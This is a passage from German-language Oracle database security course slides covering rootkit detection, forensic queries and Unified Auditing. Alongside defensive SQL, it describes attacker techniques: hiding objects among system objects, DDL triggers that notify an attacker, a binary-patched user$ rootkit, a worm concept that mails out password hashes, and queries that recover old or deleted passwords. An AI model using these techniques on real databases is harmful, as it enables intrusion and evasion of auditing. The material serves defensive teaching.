vorhanden sind.
Was wäre also besser für einem Baum, als sich in einem Wald zu verstecken,
oder auf Oracle übertragen:
Wie könnte man Daten einer Hacker-Tabelle, oder
Funktionen/Proceduren/Packages eines bösen Buben besser verstecken als
zwischen den bereits 50.000 installierten Oracle Objekten? (wer SAP hat, kann
das nochmals potenzieren ☺ )
Security II 6 - 22
Lösung
Welche der folgenden Objekte sind nicht von Oracle?
sys.dbms_backup_restore (OK)
sys.plitblm (OK)
sys.dbms_pickler (OK)
sys.dbms_utl (Falsch)
sys.sys_stub_for_purity_analysis (OK)
sys.utl_ldap (Falsch)
ctxsys.drue (OK)
ctxsys.drixml (Falsch)
sys.dbms_schema_name_export (Falsch)
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 23
Security II 6 - 23
DDL Trigger
Merken Sie sich die Liste der derzeit verwendeten DDLTrigger.
SELECT u.name,t.obj#,t.definition,
t.whenclause, t.action#
FROM sys.trigger$ t, sys.user$ u,
sys.obj$ o
WHERE t.obj#=o.obj#
AND o.owner#=u.user#
AND update$=0 AND insert$=0
AND delete$=0
ORDER BY name;
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 24
Hinweis:
Das Problem von DDL Triggern ist, dass sie bei richtiger Anwendung eine Menge
Unsinn anrichten können.
Kleine Beispiele gefällig?, OK
•Der DROP auf einen USER/TABLESPACE oder ein Objekt wird verhindert. In
unserem Security Kurs zeige ich Objekte, die mit normalen Mitteln nicht mehr
gelöscht werden können.
•Nach dem Start der Datenbank wird immer eine Procedure ausgeführt (z.B.
email an den Hacker)
•Nach dem Anmelden eines Benutzer wird immer eine Funktion gestartet
•Oracle empfiehlt (wohl wegen der unüberschaubaren Risiken) deshalb bei einer
Migration alle DDL auszuschalten
•Dazu muss die DB gestoppt werden, der Parameter "_system_trig_enabled" auf
False gesetzt und die DB erneut gestartet werden.
Security II 6 - 24
Wie kann man sich schützen?
Gehen Sie bei Verdacht auf die Originaltabellen:
dba_users
sys.user$
dba_tables
sys.tab$
dba_objects
sys.obj$
v$session
sys.v_$session
v$process
sys.v_$process
Bei Packages, den Eigentümer voranstellen:
utl_file
sys.utl_file
dbms_crypto
sys.dbms_crypto
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 25
Security II 6 - 25
View Definitionen mit Hash-Wert speichern
Speichern Sie für alle Views die Länge des View-Textes und einen
Hash-Wert, drucken Sie die Liste aus und legen Sie diese in einen
Tresor
SET SERVEROUTPUT ON SIZE UNLIMITED
DECLARE /* als SYS starten */
v_len NUMBER;
BEGIN
FOR c IN (SELECT owner,view_name,text FROM dba_views
WHERE owner='SYS' ORDER BY 2) LOOP
v_len:=length(c.text);
dbms_output.put_line(c.owner||'.'||rpad(c.view_name,30,'
')||'('||lpad(v_len,4,' ')||') '||
dbms_crypto.Hash(utl_raw.cast_to_raw(c.text),
dbms_crypto.hash_md5));
END LOOP;
END;
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 26
Beispielausgabe:
SYS.ALL_TAB_COLS
(6684)
69D3E30BA5A648E5374B9EB86DDEF30D
SYS.ALL_TAB_COL_STATISTICS
(1985)
0B63DA6F08276D35366BEAEA7D6A7EC8
SYS.ALL_TAB_COLUMNS
( 525)
2D8F088AB0FDAEBE59486EF7A838616E
SYS.ALL_TAB_COMMENTS
(1605)
7FDE414934207C71ECDD4416D9080D09
SYS.ALL_TAB_HISTOGRAMS
(5491)
B0D4684558499CE808BCFFCDFE9CC607
SYS.ALL_TABLES
(4691)
F43B61AB060F5E27F0EA9E2E8F1FA689
SYS.ALL_TAB_MODIFICATIONS
(3137)
8CC0542B039FA72449ECF6C36807B71A
SYS.ALL_TAB_PARTITIONS
(5804)
7EA4FAE6208376DE8E04B1199CD0F58F
SYS.ALL_TAB_PRIVS
( 559)
B94BB84E15C1E5829EC29856E73DA126
…
Bei Verdacht auf einen Angriff, lassen Sie die Routine erneut laufen und vergleichen Sie
die Ausgabe.
Security II 6 - 26
Rootkit Version 2
Vorgestellt von Alexander Kornbrust auf der Blackhat
Konferenz 2006
Er ersetzt in den Oracle Binaries alle Vorkommen der DD
Tabelle user$ durch einen anderen Namen z.B. usar$
Danach wird eine Kopie mit Namen user$ erzeugt.
Security-Scanner, die jetzt dba_users mit user$
vergleichen, finden nun keine Differenz, aber auch keinen
Hacker☺
☺
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 27
Security II 6 - 27
Rootkit Version 2 aufspüren
Wir suchen eine Tabelle, die die gleichen Spalten hat wie
user$
Wir vergleichen hier nur die Spalte Default Tablespace
(DATATS#), die kommt an 5ter Stelle nur in user$ vor
SELECT owner#,name,ctime from obj$ WHERE obj#
in (
select c1.obj# from col$ c1, col$ c2
where (c1.name=c2.name and c1.col#=c2.col# and
c1.name='DATATS#' )and c1.obj#<>c2.obj#);
owner# name
ctime
---- ------- --------0
USER$
29.06.14
0
USOR$
18.10.14
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 28
Security II 6 - 28
Honeypot
Strategie um Hacker anzulocken.
Es wird eine Datenbank oder ein Account absichtlich
unzureichend geschützt um Hacker aufzuspüren.
Beispiel:
SYSTEM/MANAGER Account wird die DBA Rolle entzogen
Audit für Create Session auf SYSTEM wird eingeschaltet
oder Logon Trigger verschickt eine Email an den DBA
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 29
Security II 6 - 29
Oracle Würmer
Es existieren bereits Designer-Studien zu Oracle
Würmern.
Diese verschicken die gehashten Oracle-Passwörter an
[email protected].
Dieser Wurm ist noch relativ harmlos, aber was bringt die
Zukunft?
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 30
Security II 6 - 30
Vorsichtsmaßnahmen
Alle Accounts prüfen und entweder gute/lange Passwörter
definieren oder Account locken/Passwort zerstören.
Listener mit Passwort schützen, Parameter
ADMIN_RESTRICTIONS_{listener_name}=ON in listener.ora
setzen
CREATE DATABASE LINK Recht aus der Connect Rolle
entfernen (ab 10.2 bereits durch Oracle erledigt).
EXECUTE Recht auf utl_tcp, utl_file und utl_inaddr von Public
entfernen.
GLOGIN.SQL Datei schützen, denn diese wird bei jedem Start
von SQL*Plus ausgeführt (ab 10g bei jedem Neuconnect).
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 31
Security II 6 - 31
Kapitel
7
Forensik
Security II 7 - 1
Was ist Forensik?
Forensik in der Datenverarbeitung beschreibt die
Dokumentation von Einbrüchen oder verdächtigen
Vorgängen in Systemen
Hier werden Beweismittel gesammelt und gesichert, die
für eine Verfolgung oder Bestrafung von Straftaten
notwendig sind
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 2
Stichwörter: Security; Allgemeines
Security II 7 - 2
Tools für die Forensik
Logminer (ab 8.1 bei Oracle kostenloses Tool zur
Analysierung von Redolog-Inhalten)
Data Unloader (z.B. DUL von Oracle)
Oracle Block Dump
Hexeditor für Tablespacedateien / Oracle Blöcke
Flashback Funktionen (Flashback Query, Mülleimer)
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 3
Security II 7 - 3
Interessante Trace Files
Listener.log
($ORACLE_HOME\log\diag\tnslsnr\<rechner>\
listener\trace)
listener.trc (s.o.)
Oracle Incident Dateien (ab 11.x)
Alert.log Datei
SYSDBA Audit Log (Windows: Eventlog)
Redologs/Archivelog
Im Betriebssystem: Win: Eventlog, Unix:
/var/log/messages
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 4
Security II 7 - 4
Trace Views/Tables
V$... (GV$ bei RAC), CDB_... in Plug DB (ab 12c)
WRH$... (Temporäre Dateien)
Audit Views
SYS.USER$
SYS.MON_MODS_ALL$ (Inserts/Updates/Deletes auf
Tabellen)
SYS.COL_USAGE$ (verwendete Spalten)
RECYCLEBIN (Wenn aktiviert, liegt hier der Mülleimer)
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 5
Security II 7 - 5
Vorgehensweise
Dateien / Traces / Ausgaben sammeln und auf einen
sichern PC übertragen
Alternativ Daten ausdrucken oder auf DVD brennen
SPOOL forensik.txt
SELECT …..
SPOOL OFF
Wichtig:
Ihre Spurensuche kann andere Spuren verwischen,
deshalb:
DB in READ Only Modus öffnen
oder Backup erstellen und mit diesem arbeiten
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 6
Security II 7 - 6
Befehle zur Überwachung
Letzte abgesetzte Befehle:
SELECT LAST_ACTIVE_TIME, PARSING_USER_ID,
SQL_TEXT FROM V$SQL
ORDER BY LAST_ACTIVE_TIME ASC;
Audit-Informationen (Bis 11.2.0.4)
SELECT * FROM sys.aud$;
Audit-Informationen (Ab 12.1.0.1)
SELECT * FROM unified_audit_trail;
Session Informationen
SELECT SID, USER#, USERNAME, TERMINAL, OSUSER,
PROGRAM, LOGON_TIME FROM V$SESSION;
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 7
Security II 7 - 7
Befehle zur Überwachung
Benutzer Account Status:
SELECT USER#, NAME, ASTATUS,
PASSWORD, CTIME, PTIME, LTIME
[,spare4 /* ab 12.1.0.1*/]
FROM SYS.USER$
WHERE TYPE#=1;
CTIME= Erstellungsdatum des Accounts
PTIME = Datum der letzten Passwortänderung
SPARE4 = Letzte erfolgreiche Anmeldezeit
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 8
Security II 7 - 8
SYS.USER$
Interessante Spalten
LCOUNT
Anzahl der ungültigen Anmeldeversuche
Wird zurückgesetzt nach erfolgreicher Anmeldung
Maximale Anzahl durch Profile begrenzt
LTIME Sperrzeitpunkt des Benutzers
SELECT name,lcount,ltime
FROM sys.user$
WHERE lcount>0;
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 9
Was kann passieren:
LCOUNT nimmt große Werte an z.B.: >10.000. Brutforce Attacke oder Client verwendet
falsches Passwort (z.B. Nagios Benutzer)
LCOUNT von verschiedenen Benutzern ist >0: Jemand versucht bis zu maximalen
Anzahl von Fehlversuchen Acounts auszuspähen
Bei gleicher/ähnlicher LTIME: Jemand hat über verschiedene Accounts versucht, sich
Zutritt zur DB zu verschaffen
Security II 7 - 9
Alte Passwörter
Wenn eine Passwort-History eingeschalten wurde (in den
Profilen Password Reuse Max), können Sie dort die alten
Passwörter des Benutzers nachlesen:
SELECT * FROM sys.user_history$;
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 10
Security II 7 - 10
SYS.WRH$_ACTIVE_SESSION_HISTORY
Wichtige Spalten
SAMPLE_TIME (Aufzeichnungszeit)
PROGRAM (Welches Program wurde eingesetzt)
Machine (ab 11.2)(Von welcher Maschine kam der
Benutzer)
Hinweis: Benötigt kostenpflichtiges Zusatzpaket (Tuning
& Diagnostic Pack)
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 11
Security II 7 - 11
Welche Programme haben sich angemeldet?
Hinweis: Die Spalte "Maschine" ist erst ab 11.2 verfügbar
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 12
Hinweis:
Der SELECT dazu:
select program, username, machine,
sum("7-18h") as "7-18h",
sum("18-7h") as "18-7h" FROM (
select program, username, machine,
case when hour between 7 and 18 then cnt end as "7-18h" ,
case when hour < 7 or hour >18 then cnt end as "18-7h"
FROM (
select program, username, machine, count(*) as cnt,
to_char(trunc(sample_time,'HH'),'HH24') hour
from sys.wrh$_active_session_history w, dba_users d
where w.user_id=d.user_id (+)
and (lower(program) not like '%oracle%(%)%')
group by program, username, machine,
to_char(trunc(sample_time,'HH'),'HH24')))
group by program, username, machine
Security II 7 - 12
Änderungen an wichtigen Tabellen
BEGIN
dbms_stats.flush_database_monitoring_info;
END;
SELECT o.name,m.inserts,
m.updates,m.deletes,m.timestamp
FROM SYS.mon_mods_all$ m, sys.obj$ o
WHERE o.obj#=m.obj#
AND o.owner#=0 and
o.name IN ('USER$','AUD$','FGA_LOG$')
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 13
Hinweis:
Der Flush aktualisiert die Werte in der Tabelle.
Es erscheinen nur Zeilen, die geändert wurden (deswegen fehlt fga_log$)
Bei den Tabellen aud$ und fga_log$ sollte es niemals UPDATES und DELETES
geben, sonst wurden die Tabellen manipuliert
Updates auf user$ bedeuten, das Passwort wurde geändert, oder der Account
gesperrt/entsperrt
Ein Delete auf user$ löscht eine Rolle oder einen Benutzer
Security II 7 - 13
Weitere interessante Tabellen
Weitere interessante Tabellen, die überwacht werden
könnten:
SYSAUTH$ (DBA_SYS_PRIVS, Inserts/Deletes auf
Systemrechte)
OBJAUTH$ (DBA_TAB_PRIVS, Inserts/Deletes auf
Objektrechte)
EXTERNAL_TAB$ (DBA_EXTERNAL_TABLES)
JAVA$POLICY$ (DBA_JAVA_POLICY)
LIBRARY$ (DBA_LIBRARIES)
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 14
Security II 7 - 14
Listener.log in External Table
CREATE DIRECTORY listener_log_dir as
'D:\oracle\diag\tnslsnr\goofymarco\
listener\trace';
CREATE TABLE listener_log(
log_date
DATE,
connect_string
VARCHAR2(300),
protocol_info
VARCHAR2(300),
action
VARCHAR2(15),
service_name
VARCHAR2(15),
return_code
NUMBER(10))
ORGANIZATION EXTERNAL …
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 15
Vollständige Syntax:
create table listener_log(
log_date date,
connect_string varchar2(300),
protocol_info varchar2(300),
action varchar2(15),
service_name varchar2(15),
return_code number(10))
organization external (
type oracle_loader
default directory LISTENER_LOG_DIR
access parameters
(records delimited by newline
nobadfile
nologfile
nodiscardfile
fields terminated by "*" lrtrim
missing field values are null
(
log_date char(30) date_format
date mask "DD-MON-YYYY HH24:MI:SS",
connect_string,
protocol_info,
action,
service_name,
return_code))
location ('listener.log'))
reject limit unlimited
/
Security II 7 - 15
Auswertungen der listener.log
Welche Module haben sich angemeldet ?
SELECT count(*),connect_string
FROM listener_log
GROUP BY connect_string order by 1 desc;
Fehler im listener.log:
SELECT * FROM listener_log
WHERE nvl(return_code,0) >0
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 16
Security II 7 - 16
Blöcke auslesen
Oracle löscht bei einem DELETE die Zeile nicht sofort im
Block
Ein Update lässt (bei genügend Platz im Block) die Zeile
stehen und erzeugt eine neue (geänderte Zeile)
Mit dem entsprechendem Hex-Editor kann man die Werte
wieder sichtbar machen
Interessant ist das für unverschlüsselte Passwörter
Mit folgenden Befehlen kann man einen Block dumpen
ALTER SESSION SET TRACEFILE_IDENTIFIER='DUMP';
ALTER SYSTEM DUMP DATAFILE 1
BLOCK MIN 209 BLOCK MAX 209;
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 17
Hinweis:
Mit folgendem Select bekommen Sie Blöcke der Tabelle user$ heraus:
SELECT distinct dbms_rowid.rowid_block_number(rowid)
FROM user$
ORDER BY 1
=>
209
210
211
212
213
Security II 7 - 17
Die SCN als Dokumentation des Zeitpunkts
Oracle verwendet bei jeden Befehl, um diesen auch
zeitlich einzuordnen eine fortlaufende Nummer: die SCN
SCN steht für System Change Number
5 Tage lang wird die SCN in der Tabelle
SMON_SCN_TIME gespeichert, danach werden die
ältesten Einträge gelöscht
Jedoch bleiben die SCN´s für die Logswitches in der
Tabelle V$ARCHIVED_LOG meist länger stehen (die
zeitliche Zuordnung ist aber dafür nicht mehr so genau)
Alternativ kann auch Flashback Data Archive eingerichtet
werden, um die SCN
Zeitzuordnung länger
durchzuführen
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 18
Security II 7 - 18
Checkpoint Nummer wandeln
Sie können die SCN Nummer in eine Uhrzeit umwandeln
durch:
SELECT scn_to_timestamp(<SCN>) FROM dual;
Ein Uhrzeit kann (auf 3 Sekunden genau) in eine SCN
umgewandelt werden mittels:
SELECT timestamp_to_scn('Uhrzeit') FROM dual;
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 19
Security II 7 - 19
SCN Nummern in Blöcken
Seit der Version 10.2 kann die jeweilige Block SCN
Nummer ausgelesen werden durch:
SELECT ora_rowscn, t.* FROM tab t;
Bei einer Änderung einer Zeile im Block, ändert sich für
alle Zeilen im Block die SCN
Mittels einer Option, kann jedoch die SCN für jede Zeile
eigens gespeichert werden.
CREATE TABLE t (id number) ROWDEPENDENCIES;
Leider lässt sich die Option nachträglich nicht mehr
ändern
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 20
Security II 7 - 20
Interessante Auswertungen bzgl der SCN
Letzte Änderungen in den Blöcken, in denen
Benutzerdaten gespeichert werden (dba_users)
SELECT scn_to_timestamp(ora_rowscn) ,u.*
FROM sys.user$ u;
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 21
Hinweis:
Wenn die Zeitspanne zu lange zurückliegt, erhält man folgende Fehlermeldung:
ORA-08181: Angegebene Zahl ist keine gültige SCN
ORA-06512: in "SYS.SCN_TO_TIMESTAMP", Zeile 1
08181. 00000 -
"specified number is not a valid system change number"
*Cause:
supplied scn was beyond the bounds of a valid scn.
*Action:
use a valid scn.
Security II 7 - 21
Flashback Row History
Zeigt Änderungen durch Insert/Update/Delete und deren
Zeitpunkt an:
SELECT versions_startscn START_SCN,
to_char(scn_to_timestamp(versions_startscn),'
DD.MM.YYYY Hh24:MI:SS') as start_time,
versions_endscn END_SCN,versions_operation OP
,name as username,versions_xid XID
FROM sys.user$
VERSIONS BETWEEN SCN MINVALUE AND MAXVALUE
WHERE versions_operation IS NOT NULL;
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 22
REM Änderungen in der Rechtevergabe:
SELECT u.name as username,m.name as priv_name,s.* FROM (
SELECT versions_startscn START_SCN,
to_char(scn_to_timestamp(versions_startscn),'DD.MM.YYYY Hh24:MI:SS') as
start_time,
versions_endscn END_SCN,versions_operation OP ,grantee#,privilege#,versions_xid
XID
FROM sys.sysauth$
VERSIONS BETWEEN SCN MINVALUE AND MAXVALUE
where versions_operation IS NOT NULL) s, sys.user$ u,sys.system_privilege_map m
where s.grantee#=u.user#
and s.privilege#=m.privilege;
REM Deletes oder Updates auf aud$
SELECT versions_startscn START_SCN,
to_char(scn_to_timestamp(versions_startscn),'DD.MM.YYYY Hh24:MI:SS') as
start_time,
versions_endscn END_SCN,versions_operation OP ,versions_xid XID ,aud$.*
FROM sys.aud$
VERSIONS BETWEEN SCN MINVALUE AND MAXVALUE
where versions_operation in ('D','U');
Security II 7 - 22
Inhaltliche Änderungen feststellen
Bis auf V$ und GV$ Views kann über einen begrenzten
Zeitraum die inhaltliche Veränderung einer Spalte
beobachtet werden:
Beispiel: Passwort-Änderung:
SELECT name||'=>'||password||'#'||spare4 FROM
sys.user$
AS OF SCN <start_scn>
MINUS
SELECT name||'=>'||password||'#'||spare4 FROM
sys.user$) AS old_pwd
MuniQSoft GmbH
Kapitel 7 - Forensik
Security II 7 - 23
Security II 7 - 23
Kapitel
8
Unified Auditing
Security II 8 - 1
Audit bis Version 11.2
Default Auditing
Betriebssystem (ORACLE_BASE/ADMIN/<sid>/ADUMP)
Standard Auditing (Systemprivilegien, Befehle, Objekte)
SYS.AUD$ oder OS in proprietärem Format oder XML
Fine Grained Auditing ((FGA) - Auditieren in Abhängigkeit von
Bedingungen in der EE)
SYS.FGA_LOG$ oder im OS in proprietärem Format oder XML
SYS Auditing
Betriebssystem
Database Vault Auditing
DVSYS.AUDIT_TRAIL$
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8 - 2
Security II 8-2
Rückwärtskompatibilität
Die alten Audit Methoden (sys.aud$, sys.fga_log$)
können weiter auch parallel verwendet werden (Mixed
Mode)
Mixed Mode unterstützt sowohl die alte als auch die neue
Audit-Methode
Sie sollten jedoch ab Version 12 auf UNIFIED wechseln
und die alten Methoden abschalten
Oracle plant den Support für die alten Audit Verfahren in
zukünftigen Oracle Versionen abzuschalten
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8 - 3
Security II 8-3
Empfehlungen
Sie sollten die alte Audit-Einstellung deaktivieren
ALTER SYSTEM SET audit_trail=none
SCOPE=SPFILE;
Datenbank durchstarten
Nach Sichtung der Informationen, können die folgende
Audit Tabellen mit TRUNCATE geleert werden:
sys.aud$
sys.fga_log$
dvsys.audit_trail$
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8 - 4
Security II 8-4
Unified Auditing
Das Feature UNIFIED AUDITING fasst sämtliche AuditInformationen an einer einzigen Stelle zusammen.
Dadurch ergeben sich einige Vorteile
Keine Parametereinstellung mehr notwendig
Bessere Übersicht und einfachere Sichtung der AuditInformationen
Bessere Performance, was die Überwachung betrifft
ORADEBUG Benutzung wird auch überwacht
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8-5
Hinweis:
Auch wenn Unified Auditing "offiziell" ausgeschaltet wurde, sind Teile des Audits
trotzdem IMMER aktiviert !!
Folgende Quellen für Audit-Informationen können zusammen gefasst werden:
•Audit Einträge (inkl. SYS Audits) aus Unified Audit Policies und allgemeinen AuditEinstellungen
•Fine-grained audit Einträge über das Package DBMS_FGA PL/SQL
•Oracle Database Real Application Security audit Einträge
•Oracle Recovery Manager audit Einträge
•Oracle Database Vault audit Einträge
•Oracle Label Security audit Einträge
•Oracle Data Mining Einträge
•Oracle Data Pump
•Oracle SQL*Loader Direct Load
Stichwörter: Unified Auditing
Security II 8 - 5
Unified Auditing alleinig aktivieren
Ermittlung, ob Option bereits eingeschaltet (TRUE=eingeschaltet oder
FALSE=ausgeschaltet):
SELECT value FROM v$option
WHERE parameter = 'Unified Auditing';
Bei FALSE muss Nutzung explizit aktiviert werden.
Dazu Instanz und Listener herunterfahren
Unter Unix Wechsel in $ORACLE_HOME/rdbms/lib, dann
make -f ins_rdbms.mk uniaud_on ioracle
ORACLE_HOME=$ORACLE_HOME
Unter Windows in %ORACLE_HOME%\bin folgende Datei
umbenennen
orauniaud12.dll.dbl in orauniaud12.dll
Listener und Instanz wieder starten
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Interessante Views:
•UNIFIED_AUDIT_TRAIL
•V$UNIFIED_AUDIT_TRAIL
Wenn Sie Unified Auditing wieder ausschalten möchten:
UNIX:
Alle DB Prozesse stoppen (Listener, DB, ..)
make -f ins_rdbms.mk uniaud_off ioracle
ORACLE_HOME=$ORACLE_HOME
Alle Prozesse wieder starten
Windows:
Alle Dienste stoppen
move orauniaud12.dll orauniaud12.dll.dbl
Alle Dienste starten
Stichwörter: Unified Auditing
Security II 8 - 6
Security II 8-6
Unified Auditing Speichermethoden
Der Initialisierungsparameter UNIFIED_AUDIT_SGA_
QUEUE_SIZE regelt die Speichermenge, die der Hauptspeicher
für die Audit Einträge zur Verfügung stellt
Speichergröße 1-30MB
Benutzer die Unified Auditing administrieren wollen, benötigen
das Recht AUDIT SYSTEM oder die Rolle AUDIT_ADMIN
Die Auditdaten werden zuerst gecached und periodisch in
Tabellen gespeichert
Bei einem Shutdown abort könnten jedoch Einträge verloren
gehen, deswegen unterstützt Oracle zwei Modi:
Immediate (sofort schreiben)
Queued Write (verzögert schreiben)
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8-7
Hinweis
Die Audit Daten werden in einer partitionierten Tabelle im AUDSYS Schema im
SYSAUX Tablespace gespeichert.
Das AUDSYS Schema kann nicht gedropt werden.
Stichwörter: Unified Auditing; Speichermethoden
Security II 8 - 7
Unified Auditing Speichermethoden (f)
BEGIN
DBMS_AUDIT_MGMT.SET_AUDIT_TRAIL_PROPERTY(
DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED,
DBMS_AUDIT_MGMT.AUDIT_TRAIL_WRITE_MODE,
-- #1: Immediate Write
DBMS_AUDIT_MGMT.AUDIT_TRAIL_IMMEDIATE_WRITE
-- #2: Queued Write (Default)
DBMS_AUDIT_MGMT.AUDIT_TRAIL_QUEUED_WRITE);
END;
Sofort auf Disk schreiben
BEGIN
DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL;
END;
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Wenn Sie Daten direkt aus dem Speicher in die Tabellen flushen wollen:
Single Instanz:
EXEC DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL;
Lokale RAC Instanz:
BEGIN DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL(
DBMS_AUDIT_MGMT.FLUSH_CURRENT_INSTANCE);
END;
Alle RAC Instanzen:
BEGIN
DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL(
DBMS_AUDIT_MGMT.FLUSH_ALL_INSTANCES);
END;
Lokaler Pluggable DB Container:
BEGIN
DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL(
CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_CURRENT);
END;
Alle PDB Container
BEGIN DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL(
CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_ALL);
END;
Stichwörter: Unified Auditing; Speichermethoden
Security II 8 - 8
Security II 8-8
Wo wird das Audit gespeichert?
Oracle speichert die Audit Daten im Benutzer AUDSYS
Tabelle CLI_SWP* (Name wird zufällig erzeugt)
Die Tabelle ist gegen DML und DDL Manipulationen
geschützt
TRUNCATE TABLE AUDSYS."CLI_SWP$4de9718f$1$1"
ORA-55941: DML- und DDL-Vorgänge sind auf
Tabelle "AUDSYS"."CLI_SWP$4de9718f$1$1" nicht
zulässig
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8 - 9
Security II 8-9
Unified Auditing: Rechte
Systemprivileg AUDIT SYSTEM
Darf das Auditing konfigurieren, aktivieren, de-aktivieren, aber
nicht auswerten
Rolle AUDIT_ADMIN
Darf das Auditing konfigurieren und auswerten
Rolle AUDIT_VIEWER
Darf nur den audit trail auswerten
Typischerweise für Auditoren verwendet
Eigentümer eines Objekts kann nicht mehr automatisch
das Auditing selbst festlegen
die über seine Objekte gesammelten Audit Daten auswerten
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8 - 10
Security II 8-10
Unified Autiting Syntax
Syntax:
CREATE AUDIT POLICY policy
[ privilege_audit_clause ]
[ standard_or_component_clause ]
[ role_audit_clause ] [ WHEN 'audit_condition'
EVALUATE PER
{ STATEMENT | SESSION | INSTANCE } ]
[ CONTAINER = { ALL | CURRENT } ] ;
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8-11
privilege_audit_clause := PRIVILEGES privilege1 [, privilege2]
role_audit_clause := ROLES role1 [, role2]
action_audit_clause := {standard_actions | component_actions} [, component_actions ]
Standard Actions:
ACTIONS { { object_action | ALL }
ON { DIRECTORY directory_name |
MINING MODEL [ schema. ] object_name | [ schema. ] object_name
} | { system_action | ALL } }
[ { object_action | ALL }
ON { DIRECTORY directory_name |
MINING MODEL [ schema. ] object_name | [ schema. ] object_name
} | { system_action | ALL } ]...
Komponent Actions
component_actions :=
ACTIONS COMPONENT=[OLS|XS] action1 [,action2 ] |
ACTIONS COMPONENT=DV DV_action ON DV_object_name |
ACTIONS COMPONENT=DATAPUMP [ EXPORT | IMPORT | ALL ] |
ACTIONS COMPONENT=DIRECT_LOAD [ LOAD | ALL ]
WHEN 'audit_condition := function operation value_list' EVALUATE PER
{STATEMENT|SESSION|INSTANCE}
Stichwörter: Unified Auditing; Syntax
Security II 8 - 11
Unified Auditing Syntax (f)
EVALUATE PER …
STATEMENT
Für jedes ausgeführte Statement wird ein Auditeintrag erstellt
SESSION
Innerhalb wird nur einmal für ein ausgeführtes Statement ein
Auditeintrag erzeugt
INSTANCE
Solange die Instanz läuft, wird Vorgehen nur einmal aufgezeichnet
CONTAINER =
ALL (Alle container einer Plugable Database)
CURRENT (nur der aktuelle Container)
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Stichwörter: Unified Auditing; Syntax
Security II 8 - 12
Security II 8-12
Unified Auditing: WHEN Klausel
Nummerische Funktionen: BITAND, CEIL, FLOOR,
POWER
String Funktionen: CONCAT, LOWER, UPPER, INSTR,
LENGTH
Weitere Funktionen: SYS_CONTEXT, UID
Vergleichsoperatoren: =, !=, <>, <, >, <=, >=
Boolesche Operatoren: AND, OR
NULL Prüfungen: IS [NOT] NULL
[NOT] BETWEEN condition
[NOT] IN condition
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Beispiele:
'SYS_CONTEXT(''USERENV'', ''CLIENT_IDENTIFIER'') = ''my_client'''
Stichwörter: Unified Auditing; WHEN
Security II 8 - 13
Security II 8-13
Beispiele zur WHEN Klausel
SELECT ANY TABLE und CREATE VIEW für zwei OS
Benutzer (Marco , Hans ) überwachen:
CREATE AUDIT POLICY osusers_tab_view_pol
PRIVILEGES SELECT ANY TABLE, CREATE VIEW WHEN
q'!SYS_CONTEXT ('USERENV', 'OS_USER') IN
('MARCO', 'HANS')!'
EVALUATE PER SESSION;
Alle Anmeldungen durch SQL*Plus überwachen:
CREATE AUDIT POLICY sqlplus_logon_pol
ACTIONS LOGON WHEN
q'!INSTR(UPPER(SYS_CONTEXT('USERENV',
'CLIENT_PROGRAM_NAME')), 'SQLPLUS' ) > 0!'
EVALUATE PER SESSION;
MuniQSoft GmbH
Kapitel 8 - Unified Auditing
Security II 8-14
Weitere Beispiele:
Wer nicht von den Hosts muenchen1 und muenchen2 kommt, wird überwacht bei
einem UPDATE oder DELETE auf der EMP Tabelle:
CREATE AUDIT POLICY not_muc_logon_pol ACTIONS
UPDATE ON scott.emp,
DELETE ON scott.emp
WHEN q'!SYS_CONTEXT ('USERENV'', 'HOST') NOT IN
